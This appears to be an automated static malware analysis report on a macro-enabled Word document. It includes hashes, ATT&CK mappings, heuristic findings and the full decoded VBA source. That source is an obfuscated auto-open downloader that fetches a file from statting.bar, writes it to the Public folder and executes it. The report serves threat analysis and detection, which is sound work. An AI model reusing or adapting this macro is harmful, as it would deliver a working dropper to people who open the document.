Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6247df9812986ecf…

MALICIOUS

Office (OOXML)

211.7 KB Created: 2021-02-07 17:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-20
MD5: cd3fbd98a1a5f1413cae6d70c2073abe SHA-1: fc72f455b1929daa9bc6400ba349d1e08428656b SHA-256: 6247df9812986ecfc0f47abeddbe5e88765409d50c9101540e3c33b52a8030f5
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoOpen macro triggers a series of actions including creating an object, downloading content from 'http://statting.bar/header.jpg', and saving it to 'C:\users\Public\deli.png'. The script also attempts to execute a downloaded file, indicating a downloader or droppper functionality.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          VBA.Shell$ LibSizeBorder & Trim(WindowTmp)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
      BufferLoadConvert = sreqinstance.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set GlobalExceptionDocument = CreateObject(LibSizeBorder)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2538 bytes
SHA-256: 077ee87a887ea44a446dd4d1c422ac9e6d1c0d7c9fcd4125f334f074ed9a4d98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 UiComponent2.OptionButton1_Click
End Sub

Attribute VB_Name = "UiComponent2"
Attribute VB_Base = "0{880D46E6-C2C7-45B6-850C-522853433C13}{FD4F0EA7-123B-4969-9BF5-DC8394EA79C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WindowTmp
Public IteratorDataMain
Public reqmethod


Private Sub CommandButton1_Click()
ListBox1.AddItem (Image1.ControlTipText)
ListBox1.AddItem ("://statting.bar/header.jpg")
End Sub


Private Sub ListBox1_Click()
UiComponent2.WindowTmp = "C:\users\Public\" + "deli.png"
 UiComponent2.IteratorDataMain = "https"
 UiComponent2.reqmethod = "GET"
 ConstConvertValue = 1
 
 Dim GlobalExceptionDocument As Object
 Dim TableArgument As Object
 

 For Each LibSizeBorder In ListBox1.List
    If ConstConvertValue = Len("E") Then
      Set GlobalExceptionDocument = CreateObject(LibSizeBorder)
      PtrStruct GlobalExceptionDocument, reqmethod, UiComponent2.IteratorDataMain & ListBox1.List(3)
    End If
    
    If ConstConvertValue = Len("EE") And 1 = 1 And Len("Q") = 1 Then
        Set TableArgument = SwapLeftCounter(LibSizeBorder + Trim("a") + Trim("m"))
        TableArgument.Write BufferLoadConvert(GlobalExceptionDocument)
        TableArgument.SaveToFile$ WindowTmp, 2
    End If
    
    If ConstConvertValue = Len("FFF") Then
      VBA.Shell$ LibSizeBorder & Trim(WindowTmp)
    End If
    
    ConstConvertValue = ConstConvertValue + 1
 Next
End Sub

Function SwapLeftCounter(str)
  Set PointerSwap = CreateObject(str)
  PointerSwap.Open
  PointerSwap.Type = 1
  Set SwapLeftCounter = PointerSwap
End Function

Function PtrStruct(ADocumentCount, ExPasteTable, BufCollection)
   ADocumentCount.Open ExPasteTable, BufCollection, False
   ADocumentCount.Send
End Function

Function BufferLoadConvert(sreqinstance)
  BufferLoadConvert = sreqinstance.ResponseBody
End Function

Public Sub OptionButton1_Click()
ListBox1.AddItem (CommandButton1.Tag)
 ListBox1.AddItem (CheckBox1.Tag)
 CommandButton1_Click
 ListBox1_Click
End Sub

Private Sub skuid_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 92672 bytes
SHA-256: 926deaa461b164bf5a68cb0c84d6c4020a6c85d062a411edc7c104ccede5f3d4

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